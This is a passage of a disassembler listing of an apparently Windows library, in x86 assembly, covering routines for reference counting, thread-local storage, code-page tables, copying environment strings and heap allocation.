		mov	byte ptr [esi+1Ah], 1
		mov	eax, [esi+3Ch]
		mov	[ebp-3Ch], eax
		test	byte ptr [ebp+8], 4
		jz	loc_69B230F8
		cmp	esi, ebx
		jnz	loc_69B230F8


loc_69B18E05:				; CODE XREF: sub_69B18CB3+A4ADj
					; sub_69B18CB3+A4C2j
		mov	byte ptr [esi+1Ah], 0
		cmp	byte_69B92988, 0
		jnz	loc_69B2317A


loc_69B18E16:				; CODE XREF: sub_69B18CB3+12Cj
					; sub_69B18CB3+A41Fj ...
		lea	ecx, [ebp-30h]
		call	sub_69B1900C
		mov	esi, [esi+14h]
		jmp	short loc_69B18DC3
sub_69B18CB3	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_69B18E23	proc near		; CODE XREF: sub_69B17DC6+17p
					; sub_69B188DC+16p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		test	eax, eax
		push	esi
		mov	esi, ecx
		mov	[esi], eax
		jnz	short loc_69B18E36


loc_69B18E30:				; CODE XREF: sub_69B18E23+20j
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------


loc_69B18E36:				; CODE XREF: sub_69B18E23+Bj
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+4]
		mov	ecx, [esi]
		mov	eax, [ecx]
		call	dword ptr [eax+0Ch]
		jmp	short loc_69B18E30
sub_69B18E23	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B18E45	proc near		; CODE XREF: sub_69B7099E+5j
					; .text:69B709B7j ...

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		add	ecx, 4
		call	sub_69B18E54
		retn	4
sub_69B18E45	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B18E54	proc near		; CODE XREF: sub_69B18E45+7p
					; sub_69B1F56C+7p ...

; FUNCTION CHUNK AT 69B256DF SIZE 0000000C BYTES

		lea	eax, [ecx+8]
		mov	ecx, [eax]
		test	cl, 4
		jnz	loc_69B256DF
		push	8
		push	eax
		call	dword_69B9294C	; InterlockedExchangeAdd
		add	eax, 8


loc_69B18E6E:				; CODE XREF: sub_69B18E54+C892j
		shr	eax, 3
		retn
sub_69B18E54	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B18E72	proc near		; CODE XREF: sub_69B458C9+5j
					; DATA XREF: .text:69B1DF80o

var_10		= byte ptr -10h
arg_0		= dword	ptr  8

; FUNCTION CHUNK AT 69B24169 SIZE 0000000A BYTES

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	edi
		call	dword_69B92948
		mov	edi, eax
		test	edi, edi
		jz	loc_69B24169
		push	esi
		mov	esi, [ebp+arg_0]
		push	dword ptr [esi+18h]
		lea	ecx, [ebp+var_10]
		push	edi
		call	sub_69B18B3B
		lea	ecx, [esi+0Ch]
		call	sub_69B19038
		lea	ecx, [ebp+var_10]
		mov	esi, eax
		call	sub_69B18EBA
		push	edi
		call	dword_69B92944
		mov	eax, esi
		pop	esi


loc_69B18EB5:				; CODE XREF: sub_69B18E72+B2FCj
		pop	edi
		leave
		retn	4
sub_69B18E72	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B18EBA	proc near		; CODE XREF: sub_69B18AE3+44p
					; sub_69B18E72+34p ...
		push	esi
		mov	esi, ecx
		mov	ecx, [esi]
		test	ecx, ecx
		jz	short loc_69B18ED0
		mov	eax, [ecx]
		call	dword ptr [eax+18h]
		mov	eax, [esi]
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]


loc_69B18ED0:				; CODE XREF: sub_69B18EBA+7j
		lea	ecx, [esi+4]
		pop	esi
		jmp	sub_69B1976C
sub_69B18EBA	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B18ED9	proc near		; CODE XREF: sub_69B3C888+A9p
					; sub_69B3C888+189p
					; DATA XREF: ...

; FUNCTION CHUNK AT 69B2341F SIZE 00000008 BYTES

		push	esi
		mov	esi, ecx
		lea	eax, [esi+14h]
		push	eax		; lpAddend
		call	ds:InterlockedDecrement	; InterlockedDecrement
		cmp	dword ptr [esi+24h], 0
		jg	loc_69B2341F
		pop	esi
		retn
sub_69B18ED9	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_69B17135


loc_69B18EF2:				; CODE XREF: sub_69B17135+47j
		mov	esi, [eax+4]
		mov	[ebp-34h], esi
		mov	ecx, esi
		call	sub_69B18F5A
		mov	edi, eax
		mov	[ebp-38h], edi
		cmp	edi, 0FFFFFFFFh
		jz	loc_69B17182
		test	edi, 0FFFFFFF8h
		jnz	loc_69B17130
		push	edi
		mov	ecx, esi
		call	sub_69B18459
		test	eax, eax
		jnz	loc_69B17130
		mov	eax, [esi+0Ch]
		cmp	eax, dword_69B929A8
		jz	loc_69B17130
		inc	dword ptr [ebp-1Ch]
		mov	eax, [esi]
		call	dword ptr [eax+38h]
		mov	eax, [esi]
		mov	ecx, esi
		call	dword ptr [eax+34h]
		mov	dword ptr [esi+4], 3
		mov	eax, [esi]
		mov	ecx, esi
		call	dword ptr [eax+18h]
		jmp	loc_69B17182
; END OF FUNCTION CHUNK	FOR sub_69B17135

; =============== S U B	R O U T	I N E =======================================



sub_69B18F5A	proc near		; CODE XREF: sub_69B17135+1DC5p
					; sub_69B1B480-49p ...
		push	0FFFFFFFFh	; Value
		add	ecx, 4
		push	ecx		; Target
		call	ds:InterlockedExchange	; InterlockedExchange
		retn
sub_69B18F5A	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B18F67	proc near		; CODE XREF: sub_69B192E9+C9p
					; sub_69B19621+DEp ...

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 69B2345C SIZE 00000017 BYTES

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		mov	esi, ecx
		cmp	[esi+28h], edi
		jz	loc_69B2345C
		push	0FFFFFFFFh	; dwMilliseconds
		call	sub_69B18F8A
		mov	[esi+28h], edi


loc_69B18F82:				; CODE XREF: sub_69B18F67+A507j
		inc	dword ptr [esi+2Ch]
		pop	edi
		pop	esi
		retn	4
sub_69B18F67	endp


; =============== S U B	R O U T	I N E =======================================


; int __stdcall	sub_69B18F8A(DWORD dwMilliseconds)

sub_69B18F8A	proc near		; CODE XREF: sub_69B1B1F3-9159p
					; sub_69B18F67+13p ...

dwMilliseconds	= dword	ptr  4

; FUNCTION CHUNK AT 69B18FB2 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 69B233F7 SIZE 00000010 BYTES

		push	ebx
		mov	ebx, ds:InterlockedIncrement
		push	esi
		mov	esi, ecx
		push	edi
		lea	eax, [esi+10h]
		push	eax		; lpAddend
		call	ebx ; InterlockedIncrement
		lea	edi, [esi+14h]
		push	edi		; lpAddend
		call	ebx ; InterlockedIncrement
		cmp	dword ptr [edi], 1
		jnz	loc_69B233F7


loc_69B18FAA:				; CODE XREF: sub_69B18F8A+2Cj
		mov	al, 1


loc_69B18FAC:				; CODE XREF: sub_69B18F8A+2Aj
		pop	edi
		pop	esi
		pop	ebx
		retn	4
sub_69B18F8A	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_69B18F8A


loc_69B18FB2:				; CODE XREF: sub_69B18F8A+A478j
		test	al, al
		jz	short loc_69B18FAC
		jmp	short loc_69B18FAA
; END OF FUNCTION CHUNK	FOR sub_69B18F8A

; =============== S U B	R O U T	I N E =======================================



sub_69B18FB8	proc near		; CODE XREF: sub_69B192E9+E2p
					; sub_69B19621+F7p ...
		push	10h
		push	offset dword_69B19000
		call	sub_69B19C5C
		mov	esi, ecx
		push	dword ptr [esi+24h]
		lea	ecx, [ebp-1Ch]
		call	sub_69B18E23
		and	dword ptr [ebp-4], 0
		push	1
		push	dword ptr [ebp+0Ch]
		push	dword ptr [ebp+8]
		mov	ecx, esi
		call	sub_69B18A22
		mov	[ebp-20h], eax


loc_69B18FE7:				; CODE XREF: .text:69B240C2j
		or	dword ptr [ebp-4], 0FFFFFFFFh
		lea	ecx, [ebp-1Ch]
		call	sub_69B1900C
		mov	eax, [ebp-20h]
		call	sub_69B1853C
		retn	8
sub_69B18FB8	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		align 10h
dword_69B19000	dd 0FFFFFFFFh			dd offset loc_69B240A9
		dd offset loc_69B240B2

; =============== S U B	R O U T	I N E =======================================



sub_69B1900C	proc near		; CODE XREF: sub_69B1992C-7B39p
					; sub_69B17DC6+AEp ...
		push	esi
		mov	esi, ecx
		mov	ecx, [esi]
		test	ecx, ecx
		jnz	short loc_69B19017


loc_69B19015:				; CODE XREF: sub_69B1900C+1Bj
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_69B19017:				; CODE XREF: sub_69B1900C+7j
		mov	eax, [ecx]
		call	dword ptr [eax+10h]
		mov	eax, [esi]
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]
		and	dword ptr [esi], 0
		jmp	short loc_69B19015
sub_69B1900C	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B19029	proc near		; CODE XREF: sub_69B709A8+5j
					; .text:69B709C1j ...

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		add	ecx, 4
		call	sub_69B19038
		retn	4
sub_69B19029	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B19038	proc near		; CODE XREF: sub_69B120B5+10j
					; sub_69B18E72+2Ap ...

; FUNCTION CHUNK AT 69B1A875 SIZE 00000052 BYTES
; FUNCTION CHUNK AT 69B25746 SIZE 0000000A BYTES

		push	24h
		push	offset dword_69B19060
		call	sub_69B19C5C
		mov	esi, ecx
		call	sub_69B1906C
		mov	[ebp-1Ch], eax
		test	eax, eax
		jz	loc_69B1A875


loc_69B19056:				; CODE XREF: sub_69B19038+188Aj
		mov	eax, [ebp-1Ch]


loc_69B19059:				; CODE XREF: sub_69B19038+C713j
		call	sub_69B1853C
		retn
sub_69B19038	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		align 10h
dword_69B19060	dd 0FFFFFFFFh			dd offset sub_69B25750
		dd offset sub_69B25759

; =============== S U B	R O U T	I N E =======================================



sub_69B1906C	proc near		; CODE XREF: sub_69B19038+Ep
					; sub_69B2E347+2Bp ...

; FUNCTION CHUNK AT 69B256EB SIZE 00000020 BYTES

		push	esi
		lea	esi, [ecx+8]
		cmp	dword ptr [esi], 8
		jb	loc_69B256EB


loc_69B19079:				; CODE XREF: sub_69B1906C+C690j
		mov	eax, [esi]
		test	al, 4
		jnz	loc_69B25701
		push	0FFFFFFF8h
		push	esi
		call	dword_69B9294C	; InterlockedExchangeAdd
		sub	eax, 8


loc_69B1908F:				; CODE XREF: sub_69B1906C+C69Aj
		shr	eax, 3
		pop	esi
		retn
sub_69B1906C	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_69B19621


loc_69B19094:				; CODE XREF: sub_69B19621+92j
		push	dword ptr [ebp+10h]
		push	0
		push	dword ptr [ebp+0Ch]


loc_69B1909C:				; CODE XREF: sub_69B19621+A908j
		call	sub_69B190A9
		mov	[ebp-4Ch], eax
		jmp	loc_69B196CB
; END OF FUNCTION CHUNK	FOR sub_69B19621

; =============== S U B	R O U T	I N E =======================================



sub_69B190A9	proc near		; CODE XREF: sub_69B19621:loc_69B1909Cp
					; sub_69B309A0+7Ep ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	ecx, [esp+arg_0]
		push	[esp+arg_8]
		mov	eax, [esp+4+arg_4]
		lea	eax, [ecx+eax*2]
		push	eax
		call	sub_69B190C1
		retn	0Ch
sub_69B190A9	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B190C1	proc near		; CODE XREF: sub_69B190A9+10p
					; sub_69B192E9+95p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		cmp	[esp+arg_0], 0
		jz	short loc_69B190CF
		cmp	[esp+arg_4], 0
		jnz	short sub_69B190D7


loc_69B190CF:				; CODE XREF: sub_69B190C1+5j
		mov	eax, offset off_69B1A5AC
		retn	8
sub_69B190C1	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B190D7	proc near		; CODE XREF: sub_69B190C1+Cj
					; sub_69B1A587+12p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

; FUNCTION CHUNK AT 69B23CAE SIZE 00000005 BYTES

		push	[esp+arg_4]
		push	10h
		call	sub_69B17ED3
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	loc_69B23CAE
		mov	ecx, eax
		push	ebx
		push	esi
		mov	ebx, ecx
		call	sub_69B19118
		mov	esi, [esp+8+arg_0]
		test	esi, esi
		mov	dword ptr [ebx], offset	off_69B12210
		jz	short loc_69B19111
		mov	ecx, [esp+8+arg_4]
		push	edi
		mov	edi, [ebx+0Ch]
		rep movsw
		pop	edi


loc_69B19111:				; CODE XREF: sub_69B190D7+2Cj
		pop	esi
		mov	eax, ebx
		pop	ebx
		retn	8
sub_69B190D7	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B19118	proc near		; CODE XREF: .text:69B14A55p
					; sub_69B14D9C+3p ...

; FUNCTION CHUNK AT 69B23314 SIZE 0000000C BYTES

		push	esi
		mov	esi, ecx
		call	sub_69B1818F
		mov	dword ptr [esi], offset	off_69B12188
		push	dwTlsIndex
		call	dword_69B92970
		cmp	dword ptr [eax+2Ch], 0
		mov	ecx, esi
		push	eax
		jz	loc_69B23314
		call	sub_69B19148


loc_69B19144:				; CODE XREF: sub_69B19118+A203j
		mov	eax, esi
		pop	esi
		retn
sub_69B19118	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B19148	proc near		; CODE XREF: sub_69B19118+27p
					; sub_69B2DC24:loc_69B2DC50p

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 69B232F6 SIZE 0000001E BYTES

		push	esi
		mov	esi, [esp+4+arg_0]
		lea	eax, [esi+58h]
		mov	edx, [eax]
		shl	edx, 3
		mov	[ecx+4], edx
		mov	edx, [eax]
		mov	[esi+edx*4+5Ch], ecx
		inc	dword ptr [eax]
		cmp	dword ptr [eax], 100h
		jz	loc_69B232F6


loc_69B1916C:				; CODE XREF: sub_69B19148+A1BAj
					; sub_69B19148+A1C7j
		pop	esi
		retn	4
sub_69B19148	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_69B19189


loc_69B19170:				; CODE XREF: sub_69B19189+CDj
		or	byte_69B95DE1[eax], 20h
		mov	cl, [ebp+eax+var_314]


loc_69B1917E:				; CODE XREF: sub_69B19189+F0j
		mov	byte_69B95F00[eax], cl
		jmp	loc_69B19263
; END OF FUNCTION CHUNK	FOR sub_69B19189

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B19189	proc near		; CODE XREF: sub_69B1D0A4:loc_69B1D118p

var_514		= word ptr -514h
var_314		= byte ptr -314h
var_214		= byte ptr -214h
var_114		= byte ptr -114h
CPInfo		= _cpinfo ptr -14h

; FUNCTION CHUNK AT 69B19170 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 69B2510B SIZE 00000049 BYTES

		push	ebp
		mov	ebp, esp
		sub	esp, 514h
		push	esi
		lea	eax, [ebp+CPInfo]
		push	eax		; lpCPInfo
		push	CodePage	; CodePage
		call	ds:GetCPInfo	; GetCPInfo
		cmp	eax, 1
		mov	esi, 100h
		jnz	loc_69B2510B
		xor	eax, eax


loc_69B191B3:				; CODE XREF: sub_69B19189+34j
		mov	[ebp+eax+var_114], al
		inc	eax
		cmp	eax, esi
		jb	short loc_69B191B3
		mov	al, [ebp+CPInfo.LeadByte]
		test	al, al
		mov	[ebp+var_114], 20h
		jnz	sub_69B250D0


loc_69B191D1:				; CODE XREF: sub_69B250D0+36j
		push	0
		push	dword_69B95DB8
		lea	eax, [ebp+var_514]
		push	CodePage
		push	eax
		push	esi
		lea	eax, [ebp+var_114]
		push	eax
		push	1
		call	sub_69B1ECB1
		push	0
		push	CodePage
		lea	eax, [ebp+var_214]
		push	esi
		push	eax
		push	esi
		lea	eax, [ebp+var_114]
		push	eax
		push	esi
		push	dword_69B95DB8
		call	sub_69B1AEC4
		push	0
		push	CodePage
		lea	eax, [ebp+var_314]
		push	esi
		push	eax
		push	esi
		lea	eax, [ebp+var_114]
		push	eax
		push	200h
		push	dword_69B95DB8
		call	sub_69B1AEC4
		add	esp, 5Ch
		xor	eax, eax


loc_69B19246:				; CODE XREF: sub_69B19189+DDj
		mov	cx, [ebp+eax*2+var_514]
		test	cl, 1
		jnz	short loc_69B1926B
		test	cl, 2
		jnz	loc_69B19170
		mov	byte_69B95F00[eax], 0


loc_69B19263:				; CODE XREF: sub_69B19189-5j
		inc	eax
		cmp	eax, esi
		jb	short loc_69B19246


loc_69B19268:				; CODE XREF: sub_69B19189+BFC6j
		pop	esi
		leave
		retn
; ---------------------------------------------------------------------------


loc_69B1926B:				; CODE XREF: sub_69B19189+C8j
		or	byte_69B95DE1[eax], 10h
		mov	cl, [ebp+eax+var_214]
		jmp	loc_69B1917E
sub_69B19189	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_69B19E6E


loc_69B1927E:				; CODE XREF: sub_69B19E6E-BB9j
					; sub_69B19E6E+174j
		cmp	esi, 1Eh
		jge	loc_69B1D6E4
		mov	ebx, off_69B92188[esi*4]
		mov	[ebp-6Ch], ebx
		push	esi
		mov	ecx, edi
		call	sub_69B1A954
		mov	[ebp-70h], eax
		push	dword_69B95A64
		push	ebx
		call	sub_69B192B7
		push	eax
		mov	ecx, [ebp-70h]
		call	sub_69B199CC
		inc	esi
		mov	[ebp-60h], esi
		jmp	short loc_69B1927E
; END OF FUNCTION CHUNK	FOR sub_69B19E6E

; =============== S U B	R O U T	I N E =======================================



sub_69B192B7	proc near		; CODE XREF: sub_69B19E6E-BCBp
					; sub_69B1992C+C47p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	[esp+arg_4]
		push	0
		push	0
		push	[esp+0Ch+arg_0]
		call	sub_69B192CB
		retn	8
sub_69B192B7	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B192CB	proc near		; CODE XREF: sub_69B11E05+13p
					; sub_69B192B7+Cp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	[esp+arg_8]
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_69B19621
		push	[esp+arg_C]
		push	eax
		call	sub_69B192E9
		retn	10h
sub_69B192CB	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B192E9	proc near		; CODE XREF: sub_69B1889C+2Fp
					; sub_69B192CB+16p ...

; FUNCTION CHUNK AT 69B11D78 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 69B23E19 SIZE 0000001A BYTES

		push	54h
		push	offset dword_69B19410
		call	sub_69B19C5C
		and	dword ptr [ebp-1Ch], 0
		push	dwTlsIndex
		call	dword_69B92970
		mov	[ebp-20h], eax
		test	eax, eax
		jz	short loc_69B1931A
		mov	ecx, [eax+460h]
		test	ecx, ecx
		jnz	near ptr loc_69B23DA2+1


loc_69B1931A:				; CODE XREF: sub_69B192E9+21j
		xor	esi, esi
		inc	esi
		push	esi
		lea	ecx, [ebp-44h]
		call	sub_69B11D3B
		and	dword ptr [ebp-4], 0
		mov	edi, [ebp+8]
		mov	[ebp-4Ch], edi
		mov	ebx, [ebp+0Ch]
		mov	[ebp-48h], ebx
		push	dword ptr [ebp-20h]
		mov	ecx, dword_69B929D4
		call	sub_69B18BC5
		mov	[ebp-1Ch], esi
		push	4
		lea	eax, [ebp-4Ch]
		push	eax
		mov	ecx, dword_69B95A14
		call	sub_69B1941C
		mov	esi, eax
		mov	[ebp-50h], esi
		test	esi, esi
		jnz	loc_69B11D78


loc_69B19365:				; CODE XREF: sub_69B192E9-7569j
		mov	ecx, dword_69B929D4
		mov	eax, [ecx]
		call	dword ptr [eax+18h]
		and	dword ptr [ebp-1Ch], 0
		test	esi, esi
		jnz	short loc_69B193F7
		push	4
		lea	eax, [ebp-4Ch]
		push	eax
		call	sub_69B190C1
		mov	[ebp-54h], eax
		push	20h
		call	sub_69B17EF3
		mov	[ebp-58h], eax
		test	eax, eax
		jz	loc_69B11D85
		push	dword ptr [ebp-54h]
		push	ebx
		push	edi
		mov	ecx, eax
		call	sub_69B17285


loc_69B193A4:				; CODE XREF: sub_69B192E9-7562j
		mov	edi, eax
		mov	[ebp-50h], edi
		push	dword ptr [ebp-20h]
		mov	ecx, dword_69B929D4
		call	sub_69B18F67
		mov	dword ptr [ebp-1Ch], 2
		mov	ecx, dword_69B95A14
		mov	[ebp-5Ch], ecx
		push	edi
		push	dword ptr [ebp-54h]
		call	sub_69B18FB8
		mov	esi, eax
		mov	[ebp-60h], esi
		mov	eax, dword_69B929A8
		mov	[esi+0Ch], eax
		mov	ecx, dword_69B929D4
		mov	eax, [ecx]
		call	dword ptr [eax+10h]
		and	dword ptr [ebp-1Ch], 0
		cmp	esi, edi
		jnz	loc_69B23E19


loc_69B193F4:				; CODE XREF: sub_69B192E9+AB45j
		mov	[ebp-50h], esi


loc_69B193F7:				; CODE XREF: sub_69B192E9+8Dj
					; sub_69B23E3C+47j
		or	dword ptr [ebp-4], 0FFFFFFFFh
		lea	ecx, [ebp-44h]
		call	sub_69B1976C
		mov	eax, [ebp-50h]


loc_69B19406:				; CODE XREF: sub_69B23D98+7Cj
		call	sub_69B1853C
		retn	8
sub_69B192E9	endp

; ---------------------------------------------------------------------------
		align 10h
dword_69B19410	dd 0FFFFFFFFh			dd offset sub_69B23E33
		dd offset sub_69B23E3C

; =============== S U B	R O U T	I N E =======================================



sub_69B1941C	proc near		; CODE XREF: sub_69B19621-7904p
					; sub_69B192E9+6Ap ...

; FUNCTION CHUNK AT 69B11D8C SIZE 0000000B BYTES

		push	14h
		push	offset dword_69B19480
		call	sub_69B19C5C
		mov	esi, ecx
		push	dword ptr [esi+24h]
		lea	ecx, [ebp-1Ch]
		call	sub_69B1986C
		and	dword ptr [ebp-4], 0
		lea	eax, [ebp-20h]
		push	eax
		push	dword ptr [ebp+0Ch]
		push	dword ptr [ebp+8]
		call	sub_69B17D68
		push	eax
		push	dword ptr [ebp+0Ch]
		push	dword ptr [ebp+8]
		mov	ecx, esi
		call	sub_69B19888
		cmp	eax, 1
		jz	loc_69B11D8C
		xor	eax, eax


loc_69B19461:				; CODE XREF: sub_69B1941C-768Aj
		mov	[ebp-24h], eax


loc_69B19464:				; CODE XREF: .text:69B240E0j
		or	dword ptr [ebp-4], 0FFFFFFFFh
		lea	ecx, [ebp-1Ch]
		call	sub_69B1948C
		mov	eax, [ebp-24h]
		call	sub_69B1853C
		retn	8
sub_69B1941C	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		align 10h
dword_69B19480	dd 0FFFFFFFFh			dd offset loc_69B240C7
		dd offset loc_69B240D0

; =============== S U B	R O U T	I N E =======================================



sub_69B1948C	proc near		; CODE XREF: sub_69B1941C+4Fp
					; sub_69B1980A+46p ...

; FUNCTION CHUNK AT 69B233E2 SIZE 00000015 BYTES

		push	esi
		mov	esi, ecx
		mov	ecx, [esi]
		test	ecx, ecx
		jnz	loc_69B233E2


loc_69B19499:				; CODE XREF: sub_69B1948C+9F66j
		pop	esi
		retn
sub_69B1948C	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B1949B	proc near		; CODE XREF: sub_69B1B625+DFp

; FUNCTION CHUNK AT 69B1D1D7 SIZE 00000026 BYTES
; FUNCTION CHUNK AT 69B24EBB SIZE 00000031 BYTES

		push	edi
		xor	edi, edi
		cmp	dword_69B96128,	edi
		jz	loc_69B24EBB


loc_69B194AA:				; CODE XREF: sub_69B1949B+BA25j
		mov	eax, dword_69B95AF8
		cmp	eax, edi
		jz	loc_69B24EC5
		push	esi


loc_69B194B8:				; CODE XREF: sub_69B1949B+42j
		mov	cl, [eax]
		test	cl, cl
		jz	short loc_69B194DF
		cmp	cl, 3Dh
		jz	short loc_69B194C4
		inc	edi


loc_69B194C4:				; CODE XREF: sub_69B1949B+26j
		mov	ecx, eax
		lea	esi, [ecx+1]
		nop
		nop
		nop
		nop
		nop
		nop
		nop


loc_69B194D0:				; CODE XREF: sub_69B1949B+3Aj
		mov	dl, [ecx]
		inc	ecx
		test	dl, dl
		jnz	short loc_69B194D0
		sub	ecx, esi
		lea	eax, [eax+ecx+1]
		jmp	short loc_69B194B8
; ---------------------------------------------------------------------------


loc_69B194DF:				; CODE XREF: sub_69B1949B+21j
		push	ebx
		lea	ecx, ds:4[edi*4]
		call	sub_69B19560
		mov	ebx, eax
		test	ebx, ebx
		mov	dword_69B95B18,	ebx
		jz	loc_69B24ECA
		mov	esi, dword_69B95AF8
		jmp	short loc_69B1954F
; ---------------------------------------------------------------------------
		align 10h


loc_69B19510:				; CODE XREF: sub_69B1949B+7Aj
					; sub_69B1949B+C3j
		mov	dl, [eax]
		inc	eax
		test	dl, dl
		jnz	short loc_69B19510
		sub	eax, edi
		cmp	cl, 3Dh
		lea	edi, [eax+1]
		jz	short loc_69B1954D
		mov	ecx, edi
		call	sub_69B19560
		test	eax, eax
		mov	[ebx], eax
		jz	loc_69B24ED2
		mov	ecx, esi
		mov	edx, eax
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop


loc_69B19540:				; CODE XREF: sub_69B1949B+ADj
		mov	al, [ecx]
		inc	ecx
		mov	[edx], al
		inc	edx
		test	al, al
		jnz	short loc_69B19540
		add	ebx, 4


loc_69B1954D:				; CODE XREF: sub_69B1949B+84j
		add	esi, edi


loc_69B1954F:				; CODE XREF: sub_69B1949B+67j
		mov	cl, [esi]
		test	cl, cl
		jz	loc_69B1D1D7
		mov	eax, esi
		lea	edi, [eax+1]
		jmp	short loc_69B19510
sub_69B1949B	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B19560	proc near		; CODE XREF: sub_69B112C0+7Fp
					; sub_69B11383+24p ...

; FUNCTION CHUNK AT 69B1957E SIZE 00000009 BYTES
; FUNCTION CHUNK AT 69B24D69 SIZE 00000020 BYTES

		push	ebx
		push	esi
		push	edi
		mov	ebx, ecx
		xor	esi, esi


loc_69B19567:				; CODE XREF: sub_69B19560+23j
		push	ebx		; dwBytes
		call	sub_69B19587
		mov	edi, eax
		test	edi, edi
		pop	ecx
		jz	loc_69B24D69


loc_69B19578:				; CODE XREF: sub_69B19560+25j
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_69B19560	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_69B19560


loc_69B1957E:				; CODE XREF: sub_69B19560+B81Bj
					; sub_69B19560+B824j
		cmp	eax, 0FFFFFFFFh
		mov	esi, eax
		jnz	short loc_69B19567
		jmp	short loc_69B19578
; END OF FUNCTION CHUNK	FOR sub_69B19560

; =============== S U B	R O U T	I N E =======================================


; int __cdecl sub_69B19587(DWORD dwBytes)

sub_69B19587	proc near		; CODE XREF: sub_69B19560+8p

dwBytes		= dword	ptr  4

; FUNCTION CHUNK AT 69B195D3 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 69B2529B SIZE 0000003E BYTES

		push	ebx
		mov	ebx, [esp+4+dwBytes]
		push	esi
		xor	esi, esi
		cmp	ebx, 0FFFFFFE0h
		ja	short loc_69B195C9
		push	ebp
		mov	ebp, ds:HeapAlloc
		push	edi


loc_69B1959C:				; CODE XREF: sub_69B19587+4Fj
		mov	eax, dword_69B96004
		cmp	eax, 1
		mov	edi, ebx
		jnz	loc_69B2529B
		test	ebx, ebx
		jz	short loc_69B195CE
		mov	eax, ebx


loc_69B195B2:				; CODE XREF: sub_69B19587+4Aj
		push	eax		; dwBytes


loc_69B195B3:				; CODE XREF: sub_69B19587+BD36j
		push	0		; dwFlags
		push	dword_69B96000	; hHeap
		call	ebp ; HeapAlloc


loc_69B195BD:				; CODE XREF: sub_69B19587+BD22j
		mov	esi, eax
		test	esi, esi
		jz	loc_69B252C2


loc_69B195C7:				; CODE XREF: sub_69B19587+51j
					; sub_69B19587+BD41j
		pop	edi
		pop	ebp


loc_69B195C9:				; CODE XREF: sub_69B19587+Bj
		mov	eax, esi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_69B195CE:				; CODE XREF: sub_69B19587+27j
		xor	eax, eax
		inc	eax
		jmp	short loc_69B195B2
sub_69B19587	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_69B19587


loc_69B195D3:				; CODE XREF: sub_69B19587+BD4Dj
		test	eax, eax
		pop	ecx
		jnz	short loc_69B1959C
		jmp	short loc_69B195C7
; END OF FUNCTION CHUNK	FOR sub_69B19587

; =============== S U B	R O U T	I N E =======================================



sub_69B195DA	proc near		; CODE XREF: sub_69B1889Cp
		xor	eax, eax
		cmp	dword_69B95A20,	eax
		jnz	short locret_69B19610
		push	eax
		push	eax
		push	1F4h
		call	sub_69B1A768
		mov	dword_69B95A20,	eax
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+4]
		push	offset off_69B1A5AC
		call	sub_69B19611
		push	eax		; Value
		mov	ecx, offset dword_69B95A18 ; Target
		call	sub_69B188DC

locret_69B19610:			; CODE XREF: sub_69B195DA+8j
		retn
sub_69B195DA	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B19611	proc near		; CODE XREF: sub_69B195DA+26p
					; sub_69B19E6E+49p ...

arg_0		= dword	ptr  4

		push	0
		push	0
		push	[esp+8+arg_0]
		call	sub_69B19621
		retn	4
sub_69B19611	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B19621	proc near		; CODE XREF: sub_69B192CB+Cp
					; sub_69B19611+8p ...

